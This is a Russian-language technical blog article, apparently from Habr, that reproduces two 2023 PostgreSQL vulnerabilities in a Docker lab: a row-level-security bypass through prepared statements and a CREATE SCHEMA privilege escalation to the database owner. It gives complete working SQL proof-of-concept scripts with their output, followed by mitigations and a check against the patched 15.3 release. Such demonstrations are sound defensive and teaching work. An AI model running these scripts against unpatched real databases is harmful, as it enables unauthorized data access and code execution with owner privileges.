Привет, Хабр. В этой статье ведущий аналитик СУБД Jatoba Андрей Никель на примерах разберет уязвимости СУБД PostgreSQL 2023 года: CVE-2023-2454 и CVE-2023-2455. Благодаря рекомендациям в материале вы сможете сами проверить, как они работают против нас. Собрать стенд на виртуалке, запустить PоstgreSQL в контейнере и посмотреть глазами пентестера, как это может происходить, а мы предложим несколько вариантов - как защищаться от этих неприятностей.

Внимание! Статья имеет ознакомительный характер и предназначена для специалистов по обеспечению информационной безопасности. Автор не несёт ответственности за любой вред, причиненный с применением изложенной информации. Помните, распространение вредоносных программ, нарушение работы систем и тайны переписки преследуются по закону.

Список сокращений:

  • КОТ — компенсирующие организационно‑технические мероприятия;

  • Слон — сленговое, устоявшееся в узких кругах именование СУБД PostgreSQL;

  • Мышь — сленг, который мы будем использовать в статье, заменяя им слово уязвимости.

    ______________

В мае 2023 появилась новость о двух новых уязвимостях, найденных в PostgreSQL.  

Эти уязвимости довольно неприятны и опасны. Оценка первой – 4.2 из 10, второй 7.2., чтобы разобраться в них соберём стенд на контейнерах и своими руками проверим и понаблюдаем, что они могут натворить.

Кому часть с установкой виртуалок и создания окружения в виде СУБД в контйенере не нужна и не интересна, можно сразу перейти к разделам:

  • Эксплуатация уязвимости CVE-2023-2454;

  • Эксплуатация уязвимости CVE-2023-2455

Установка тестового окружения

Настроим стенд для демонстрации использования уязвимости

1. Скачиваем и ставим VMware (можно скачать здесь).

2. Устанавливаем ОС Linux, к примеру Ubuntu (можно скачать здесь). Процесс установки ОС на виртуалку описывать детально не буду – все уже написано до нас....  Есть вариант взять сразу образ - здесь.

Первый вариант мне показался быстрее, т.к. готовый образ весит под три гига, поэтому я воспользовался им. Как запустить виртуалку можно прочитать – здесь. Логопас для osboxes: osboxes / osboxes.org

3. Ставим Docker

Инструкция здесь. Пройдёмся по шагам:

  • Запускаем виртуалку, входим в операционку:

Рисунок 1. Вошли в операционную систему
Рисунок 1. Вошли в операционную систему
  • Выясняем, какой IP у нашей витруалки:

Рисунок 2. ip add выдает IP адрес нашей виртуальной машины
Рисунок 2. ip add выдает IP адрес нашей виртуальной машины

У моей он 192.168.72.129. Лично я дальше буду работать через SSH, мне так удобней.

Апгрейдимся и ставим сертификат:

$ sudo apt-get update
$ sudo apt-get install ca-certificates curl gnupg

На вопросы отвечаем утвердительно. Добавляем официальный GPG ключ докера:

$ sudo install -m 0755 -d /etc/apt/keyrings
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
$ sudo chmod a+r /etc/apt/keyrings/docker.gpg

Ставим репозиторий докера:

$ echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null 

Устанавливаем Docker Engine:

$ sudo apt-get update
$ sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

Проверяем, что докер работает:

$ sudo docker run hello-world

Видим примерно следующее:

Рисунок 3. Успешно отработанный пример в докер-контейнере
Рисунок 3. Успешно отработанный пример в докер-контейнере

Отлично!  Мы готовы ставить PostgreSQL для наших опытов.

 Ставим докер на автозапуск:

$ sudo systemctl enable docker

Заливаем в репозиторий уязвимую версию 15.2 и 15.3, и проверяем содержимое:

$ sudo docker pull postgres:15.2
$ sudo docker pull postgres:15.3
$ sudo docker images
Рисунок 4. Состав репозитория докера
Рисунок 4. Состав репозитория докера

Создадим директории для данных наших СУБД:

$ mkdir -p $HOME/docker/volumes/postgres152
$ mkdir -p $HOME/docker/volumes/postgres153

Запускаем образ PostgreSQL 15.2:

$ sudo docker run --rm --name pg15_2 -e POSTGRES_PASSWORD=database_owner -e POSTGRES_USER=database_owner -e POSTGRES_DB=pg15_2 -d -p 5432:5432 -v $HOME/docker/volumes/postgres152:/var/lib/postgresql/data152 postgres:15.2

Проверяем, что процесс запустился

$ sudo docker ps 

Должно быть так:

Рисунок 5. Информация о работающей в докере СУБД
Рисунок 5. Информация о работающей в докере СУБД

Входим напрямую через докер в СУБД через команду докера it и стандартный psql (чтобы не ставить на виртуалку еще и клиента)

$ sudo docker exec -it pg15_2 psql -U database_owner -d pg15_2

Мышь первая. CVE-2023-2455

Описание проблемы

При использовании механизма ROW LEVEL SECURITY при определенных условиях возможна ситуация, когда план запроса, составленный для одной роли, может быть переиспользован при выполнении запроса от имени другой роли. Если политики разграничения доступа на уровне записей у этих ролей отличаются, то вторая роль может получить несанкционированный доступ к записям, которые не должны быть ей доступны в соответствии с политикой.

CVE-2023-2455. Row security policies disregard user ID changes after inlining

Политики безопасности строк игнорируют изменения идентификатора пользователя после встраивания:

CVSS 3.0

Overall Score 4.2

Component     core server

Vector AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Инфраструктура готова. Теперь приступим к самому интересному. Непосредственно проверим эксплуатацию уязвимостей.

Запускаем скрипт с эксплуатацией CVE-2023-2455

-- Создаем пользователей

-- Создаем пользователей 
CREATE USER user_don NOLOGIN;
CREATE USER user_mick NOLOGIN;
-- создаем подопытную табличку
create table ja_test_t (c text);
-- наполняем данными
insert into ja_test_t values ('invisible to mick');
-- устанавливаем row level security на таблицу
alter table ja_test_t enable row level security;
-- выдаем права на таблицу созданным пользователям
grant select on ja_test_t to user_don, user_mick;
-- определеяем, что user_don может читать строки
create policy p1 on ja_test_t for select to user_don using (true);
-- определяем, что user_mick не может читать данные
create policy p2 on ja_test_t for select to user_mick using (false);
-- усдостверимся, что Policy установлены
select * from pg_policies;
-- создаем функцию
create function ja_test_f() returns setof ja_test_t stable language sql as $$ select * from ja_test_t $$;
-- готовим выражения для выпонения
prepare q as select current_user, * from ja_test_f();
-- включаем роль user_don
set role user_don;
-- выпоняем подготовленное выражение
execute q;
-- включаем роль user_mick
set role user_mick;
-- выпоняем подготовленное выражение 
execute q; 

и смотрим результат:

pg15_2=# CREATE USER user_don NOLOGIN;

CREATE ROLE

pg15_2=# CREATE USER user_mick NOLOGIN;

CREATE ROLE

pg15_2=# create table ja_test_t (c text);

CREATE TABLE

pg15_2=# insert into ja_test_t values ('invisible to mick');

INSERT 0 1

pg15_2=# alter table ja_test_t enable row level security;

ALTER TABLE

pg15_2=# grant select on ja_test_t to user_don, user_mick;

GRANT

pg15_2=# create policy p1 on ja_test_t for select to user_don using (true);

 ja_test_t forCREATE POLICY

pg15_2=# create policy p2 on ja_test_t for select to user_mick using (false);

CREATE POLICY

pg15_2=# select * from pg_policies;

ns setof ja_test_t stable lang schemaname | tablename | policyname | permissive |    roles    |  cmd   | qual  | with_check

------------+-----------+------------+------------+-------------+--------+-------+------------

 public     | ja_test_t | p2         | PERMISSIVE | {user_mick} | SELECT | false |

 public     | ja_test_t | p1         | PERMISSIVE | {user_don}  | SELECT | true  |

(2 rows)

pg15_2=# create function ja_test_f() returns setof ja_test_t stable language sql as $$ select * from ja_test_t $$;

rrent_user, * from ja_test_f();

set role user_donCREATE FUNCTION

;

execute q;

set role uspg15_2=# prepare q as select current_user, * from ja_test_f();

PREPARE

pg15_2=# set role user_don;

SET

er_mick;

executpg15_2=> execute q;

e q;

 current_user |         c

--------------+-------------------

 user_don     | invisible to mick

(1 row)

pg15_2=> set role user_mick;

SET

pg15_2=> execute q;

 current_user |         c

--------------+-------------------

 user_mick    | invisible to mick

(1 row)

pg15_2=>

А что собственно произошло? В чем проблема?

Те, кто поняли сразу — молодцы! Но если нет — давайте разберемся.

Плохо то, что пользователь user_mick, смог увидеть записи в таблице не для его глаз. Мы запрещали ему чтение строк:

/* user_don разрешаем чтение */

create policy p1 on ja_test_t for select to user_don using (true);

/* user_mick запрещаем чтение, т. е. select.*/

create policy p2 on ja_test_t for select to user_mick using (false);

т. е. ограничение есть, а user_mick все равно увидел то, что для его глаз не предназначалось.

Удалим все следы эксперимента следующим скриптом:

/*Удаляем созданные для демонстрации объекты и субьекты*/

— сбрасывам текущую роль, т. е. вернемся к роли database_owner

RESET ROLE;

-- сбрасываем подгтовленный запрос

DEALLOCATE q;

-- удаляем создаваемые для эксперимента объекты

DROP FUNCTION ja_test_f();

DROP TABLE ja_test_t;

DROP USER user_don;

DROP USER user_mick;

Затем поменяем две последние команды в обратной последовательности, т.е. в начале выполним подготовленный запрос от роли user_mick, затем от роли user_don:

set role user_mick;

execute q;

а затем переходим в режим работы от имени user_don

set role user_don;

-- Выпоняем подготовленный скрипт по чтению данных

execute q;

Теперь видим, что user_mick не увидел, что ему не положено, но пользователь user_don не обнаружил своих записей:

pg15_2=# set role user_mick;

SET

pg15_2=> execute q;

 current_user | c

--------------+---

(0 rows)

pg15_2=> set role user_don;

SET

pg15_2=> execute q;

 current_user | c

--------------+---

(0 rows)

pg15_2=>

Не хорошо. Последствия могут быть разные, но точно не самые приятные.

Что еще примечательно. Важно то, что простые запросы отрабатываются правильно. То есть, если мы не будем оборачивать его в динамический оператор. Если заменить в скрипте: "execute q;" на "select * from ja_test_t":

pg15_2=> set role user_don;

pg15_2-> select * from ja_test_t;

mick;

select * from ja_test_         c

-------------------

 invisible to mick

(1 row)

 pg15_2=>

pg15_2=> set role user_mick;

t;

SET

pg15_2-> select * from ja_test_t;

 c

---

(0 rows)

pg15_2=>

Получаем правильно отработанное ограничение. Пользователь user_mick не видит неположенных строк, а вот выполнение подготовленного выражения, да еще и с встроенной функцией дает такой эффект.

Вот мы и увидели нашу мышь. Попытаемся понять, как же она проскочила.

Основные признаки:

Признак

Как выглядит в примере

Как можно обойти

Работа в одной сессии нескольких пользователей

set role user_don;…set role user_mick;

Своя сессияset role user_don;...Разрыв сессии Своя сессияset role user_mick;…Разрыв сессии

Использование подготовленного выражения

prepare q as select current_user, * from ja_test_f();

select * from ja_test_t;

Использование функции

select current_user, * from ja_test_f();

select * from ja_test_t

И когда мы все делаем вместе, 1+2+3:

/* Условие 3. Создадим функцию для чтения данных из тестовой таблицы */
create function ja_test_f() returns setof ja_test_t

  stable language sql

  as $$ select * from ja_test_t $$;
/* Условие 2. Подготовим запрос */
prepare q as select current_user, * from ja_test_f();
 /* Переходим в режим работы от имени user_mick*/
set role user_mick;
/* Выполняем подготовленный заспрос по чтению данных*/
execute q;

Получаем отрицательный результат. Пользователь Мик видит то, что не положено.

Запускаем КОТов

КОТ 1

Смотрит, чтобы работа каждого пользователя начиналась с нового коннекта в СУБД. Если сделать принудительный разрыв сессии между работами двух пользователей и таким образом принудить пользователя Мик зайти в систему, то он не увидит того, что ему не положено.

Вот смотрите.

Делаем все то же самое, но после запроса Дона прервем сессию, перезайдем

pg15_2=>\q
lang=EN-US style='mso-ansi-language:EN-US'> sudo docker exec -it pg15_2 psql -U database_owner -d pg15_2

и выполним запрос от имени Мика:

* Подготовим запрос и завернем его в динамический оператор*/
>prepare q as select current_user, * from ja_test_f();
/* Переходим в режим работы от имени Мика*/
set role user_mick;
/* Выполняем подготовленный скрипт по чтению данных*/
execute q;

Получаем результат:

 pg15_2=> execute q;
 
 current_user | c
--------------+---
(0 rows)
pg15_2=> 

Ничего не вышло, всё хорошо. Чужие данные остались Мику неизвестны.

КОТ 2

Смотрит, чтобы не использовался механизм динамического оператора. (А он ведь тоже удобный......)

Проверяем. Если делаем почти все тоже самое, но в скрипте используем простой селект без динамического оператора:

-- Переходим в режим работы от имени Дона
pg15_2=> execute q;
 
 current_user | c
--------------+---
(0 rows)
pg15_2=> 
-- Переходим в режим работы от имени Дона
set role user_don;
select current_user, * from ja_test_f();
 
-- Переходим в режим работы от имени Мика
set role user_mick;
select current_user, * from ja_test_f();
 
pg15_2=> execute q;
 current_user | c
--------------+---
(0 rows)
pg15_2=> 

Снова всё отлично! Ничья конфиденциальность не пострадала.

КОТ 3

Не использовать запросы из данных, подготовленных какой-либо функцией.

Любой из этих трех котов может помочь в данной ситуации. Не обязательно кормить всех. Можно завести только одного, но я бы рекомендовал заводит и кормить первого, который отвечает, за то, чтобы каждый пользователь в начале своей работы входил в систему, а заканчивая работу с ней разрывал свою сессию.

В конце статьи, мы поставим новую версию и проверим, что данной проблемы не стало.

Что еще можно предложить?

  • Устанавливать обновления или новые версии ПО с минимальной задержкой после выхода патча.

  • Устанавливать обновления только из доверенных источников.

  • Удалять или надежно блокировать мертвые души в ваших системах. Я про учетные записи и роли.

Что тут хорошего, как бы странно это не звучало. Хорошо хоть то, что профиль нарушителя в этой ситуации скорее один – внутренний. Что и увидит или наоборот не увидит, так это только пользователь системы. И это даже не нарушитель, а скорее потерпевший, т.к. умышленно осуществить атаку с использованием данной CVE – скорее накладно, чем полезно. Но мы же понимаем, что стоимость относительна. Если у вас есть мысли как должен строиться сценарий для использования данной CVE – велкам в обсуждения. Даже просто сценарий атаки будет интересен в части обсуждения дополнительных КОТов.

Теперь перейдем к еще одной интересной для разбора уязвимости.

Мышь вторая CVE-2023-2455

Вторая по счету, но не по важности.

Описание проблемы:

Злоумышленнику, имеющему привилегию CREATE на уровне базы данных, при определенных условиях, можно выполнить произвольный код в качестве суперпользователя. Владельцы баз данных имеют это право по умолчанию, но явные разрешения могут быть выданы другим пользователям. Уязвимость проявляется во время выполнения команды CREATE CHEMA. Встраивая в нее другие действия, в частности, создание базовых объектов в создаваемой схеме, с использованием функций в качестве параметров секционирования таблицы, и вызывая исключение (EXCEPTION) с применением написанной ранее функции, можно добиться исполнения произвольного кода от имени владельца БД и с его полномочиями. Это вызвано неправильной работой внутренней функции ядра «PushOverrideSearchPath()», во время выполнения которой некорректно велась работа с параметром SEARCH_PATH.

CVE-2023-2454. CREATE SCHEMA ... schema_element defeats protective search_path changes

CREATE SCHEMA ... schema_element отменяет защитные изменения search_path

CVSS 3.0

Overall Score  7.2

Component     core server

Vector  AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Эта мышь более опасна.

Давайте смотреть. Работаем все с тем же сервером, что мы создали для экспериментов.

Запустим скрипт и посмотрим на результат:

$ sudo docker exec -it pg15_2 psql -U database_owner -d pg15_2

psql (15.2 (Debian 15.2-1.pgdg110+1))

Type "help" for help.

pg15_2=#

Создаем пользователя СУБД

CREATE ROLE ja_hack_role NOSUPERUSER NOCREATEDB NOCREATEROLE NOINHERIT LOGIN NOREPLICATION NOBYPASSRLS PASSWORD 'I-Hack-U*123';

Наделяем его привилегией CREATE

SELECT current_database() AS datname \gset

GRANT CREATE ON DATABASE :"datname" TO ja_hack_role;

Выходим из сессии для чистоты эксперимента

pg15_2=# \q

~$

Теперь мы в чистом виде работаем от пользователя СУБД.

Входим, но уже от имени созданного пользователя:

~$ sudo docker exec -it pg15_2 psql -U ja_hack_role -d pg15_2

psql (15.2 (Debian 15.2-1.pgdg110+1))

Type "help" for help.

pg15_2=>

Создаем схему и функцию:

CREATE SCHEMA ja_hack_schema;

CREATE OR REPLACE FUNCTION ja_hack_schema.exfun(i integer)

 RETURNS integer

 LANGUAGE plpgsql

AS $function$

begin 

  CREATE EXTENSION seg VERSION '1.2';

  CREATE FUNCTION ja_hack_schema.jast_do_it(oid, regclass) RETURNS boolean as

  'BEGIN RAISE EXCEPTION ''overloaded jast_do_it() called by %'', current_user; END;' 

  LANGUAGE plpgsql;

  CREATE OPERATOR = (LEFTARG = oid, RIGHTARG = regclass, PROCEDURE = ja_hack_schema.jast_do_it);

  ALTER EXTENSION seg UPDATE TO '1.3';

  RETURN i;

 END; $function$;

Продолжаем сессию от имени ja_hack_schema и теперь, наконец-то, магия. Пытаемся одновременно создать схему с секционированной таблицей, с использованием функции:

pg15_2=> CREATE SCHEMA ja_test_schm

pg15_2-> CREATE TABLE t(i int) PARTITION BY RANGE (i)

pg15_2-> CREATE TABLE p1 PARTITION OF t FOR VALUES FROM (1) TO (ja_hack_schema.exfun(2));

ERROR:  overloaded jast_do_it() called by database_owner

CONTEXT:  PL/pgSQL function ja_hack_schema.jast_do_it(oid,regclass) line 1 at RAISE

SQL statement "UPDATE pg_catalog.pg_depend

SET deptype = 'a'

WHERE classid = 'pg_catalog.pg_amproc'::pg_catalog.regclass

  AND objid =

    (SELECT objid

     FROM pg_catalog.pg_depend

     WHERE classid = 'pg_catalog.pg_amproc'::pg_catalog.regclass

       AND refclassid = 'pg_catalog.pg_proc'::pg_catalog.regclass

       AND (refobjid = (my_schema || '.gseg_compress(internal)')::pg_catalog.regprocedure))

  AND refclassid = 'pg_catalog.pg_opclass'::pg_catalog.regclass

  AND deptype = 'i'"

PL/pgSQL function inline_code_block line 9 at SQL statement

SQL statement "ALTER EXTENSION seg UPDATE TO '1.3'"

PL/pgSQL function ja_hack_schema.exfun(integer) line 8 at SQL statement

pg15_2=>

- Ошибка! Что ж такого?! Но нет. Тут все правильно, а точнее - не правильно!

Если вы все поняли – молодцы, для остальных – подсказка.

Мы получили:

«ERROR:  overloaded jast_do_it() called by database_owner»

«called by database_owner» – сработала следующая строка:

«BEGIN  RAISE EXCEPTION ''overloaded jast_do_it() called by %'', current_user; END;»

 Вызов функции current_user должен был вернуть именно ja_hack_role, но вернулось значение «database_owner». Это, если помните, имя владельца СУБД.

Аплодисменты! Занавес.

Проблема видна. Мы увидели, что вызов функции current_user вернул имя владельца базы, т.е. можно считать, что это он, database_owner, владелец СУБД, вызвал эту функцию. Что еще интересно, создаваемых объектов в базе нет. Как осуществился взлом – просто так не понять. Дальше я, пожалуй, продолжать не буду. На этом и остановлюсь. Но в образовательных целях, конечно, вы можете продолжить и испробовать различные варианты применения других функций, выражений, доступных только владельцу СУБД. Оставим это как факультатив. Мне кажется достаточно понятно, что может произойти, если это оставить как есть.

Запускаем КОТов

КОТ 1

Этот КОТ должен не пускать чужаков. Не должны кто попало заходить в нашу сеть. Создание контролируемой зоны — это долго и дорого и скорее всего не в силах конкретного администратора. Но, как минимум, настроить pg_hba.conf, заменить звездочки на что-то более конкретное, чтобы не входил кто попало и откуда попало, не использовать trust - стоит. Если есть необходимость разобрать эти настройки, то пишите в комментах. Если будет интерес – мы более подробно разберем эту тему – настройку СУБД с точки зрения безопасности.

КОТ 2

Минимизация прав. Права, привилегии у пользователей должны быть минимально необходимые для выполнения своих функциональных обязанностей. Не более. Не нужно всем работать от имени суперпользователя. Не нужно всем иметь права создавать объекты в СУБД. Скорее это не частая операция в обычной ежедневной эксплуатации приложения и СУБД.

Необходим контроль за изменением прав для пользователей, чтобы ненужные привилегии не назначались необоснованно.

Также смотрим за пользователями. Не нужны в системе учётки давно минувших дней и не работающих пользователей, возможно оставшиеся со времен внедрения или обслуживания систем, что заводили подрядчики. Когда пользователей не много, то всё просто, контролировать не так сложно. Когда пользователей много – лучше иметь под рукой инструменты, такие как Матрица доступа, к примеру, или автоматические контроли изменения прав пользователей или логирование этих событий для последующей работы с этим.

КОТ 3

Права LOGIN, которые позволяют осуществлять вход в СУБД. Это опять же про минимально необходимые привилегии для работы в СУБД. Возможно некоторым технологическим ролям нет смысла иметь привилегию LOGIN.

Хорошая новость, что все наши действия и размышления имеют в данном случае обучающий и просветительский характер, ведь новые версии СУБД, закрывающие эти уязвимости уже выпущены. Если вы еще не пользуетесь ими – скачайте их PostgreSQL v.15.3: https://www.postgresql.org/about/news/postgresql-153-148-1311-1215-and-1120-released-2637/

И, конечно, мы выпустили соответствующие версии СУБД Jatoba, закрывающие данные уязвимости и подлатали компоненты безопасности, помогающие решать подобные проблемы и нивелировать некоторые риски.

Итак, остановим экземпляр 15.2:

$ sudo docker stop pg15_2

Запустим 15.3:

sudo docker run --rm --name pg15_3 -e POSTGRES_PASSWORD=database_owner -e POSTGRES_USER=database_owner -e POSTGRES_DB=pg

15_3 -d -p 5432:5432 -v $HOME/docker/volumes/postgres153:/var/lib/postgresql/data153 postgres:15.3

Входим

sudo docker exec -it pg15_3 psql -U database_owner -d pg15_3

Проверяем 1 скрипт:

CREATE USER user_don NOLOGIN;

CREATE USER user_mick NOLOGIN;

create table ja_test_t (c text);

select * from ja_test_t;

insert into ja_test_t values ('invisible to mick');

alter table ja_test_t enable row level security;

grant select on ja_test_t to user_don, user_mick, database_owner;

create policy p1 on ja_test_t for select to user_don using (true);

create policy p2 on ja_test_t for select to user_mick using (false);

select * from pg_policies;

drop function ja_test_f();

create function ja_test_f() returns setof ja_test_t stable language sql as $$ select * from ja_test_t $$;

prepare q as select current_user, * from ja_test_f();

set role user_don;

execute q;

set role user_mick;

execute q;

в итоге:

pg15_3=# set role user_don;

SET

pg15_3=> execute q;

 current_user |         c

--------------+-------------------

 user_don     | invisible to mick

(1 row)

 pg15_3=> set role user_mick;

SET

pg15_3=> execute q;

 current_user | c

--------------+---

(0 rows)

pg15_3=>

Видим, что user_mick– не увидит чужих данных.

Проверяем второй скрипт:

CREATE ROLE ja_hack_role NOSUPERUSER NOCREATEDB NOCREATEROLE NOINHERIT LOGIN NOREPLICATION NOBYPASSRLS PASSWORD 'I-Hack-U*123';

SELECT current_database() AS datname \gset

GRANT CREATE ON DATABASE :"datname" TO ja_hack_role;

 SET ROLE ja_hack_role;

 CREATE SCHEMA ja_hack_schema;

 CREATE OR REPLACE FUNCTION ja_hack_schema.exfun(i integer)

 RETURNS integer

 LANGUAGE plpgsql

AS $function$

begin 

  CREATE EXTENSION seg VERSION '1.2';

  CREATE FUNCTION ja_hack_schema.jast_do_it(oid, regclass) RETURNS boolean as

  'BEGIN RAISE EXCEPTION ''overloaded jast_do_it() called by %'', current_user; END;' 

  LANGUAGE plpgsql;

  CREATE OPERATOR = (LEFTARG = oid, RIGHTARG = regclass, PROCEDURE = ja_hack_schema.jast_do_it);

  ALTER EXTENSION seg UPDATE TO '1.3';

  RETURN i;

 END; $function$;

 select current_user;

CREATE SCHEMA ja_test_schm

CREATE TABLE t(i int) PARTITION BY RANGE (i)

CREATE TABLE p1 PARTITION OF t FOR VALUES FROM (1) TO (ja_hack_schema.exfun(2));

Получаем следующее:

pg15_3=> CREATE SCHEMA ja_test_schm

pg15_3-> CREATE TABLE t(i int) PARTITION BY RANGE (i)

pg15_3-> CREATE TABLE p1 PARTITION OF t FOR VALUES FROM (1) TO (ja_hack_schema.exfun(2));

CREATE SCHEMA

pg15_3=>

Исключения нет. Схема создалась. Выполнить что-то от их лица database_owner не получилось.

Выводы

КОТики способны существенно облегчить жизнь слонам, защитив от назойливых мышей. Но, они не всесильны, ведь задача безопасности комплексная и решает её необходимо сообща. Поэтому, несмотря на КОТов, будьте бдительны, устанавливайте патчи и обновления.

Автор: Ведущий аналитик команды разработки СУБД Jatoba Андрей Никель.

 

Комментарии (0)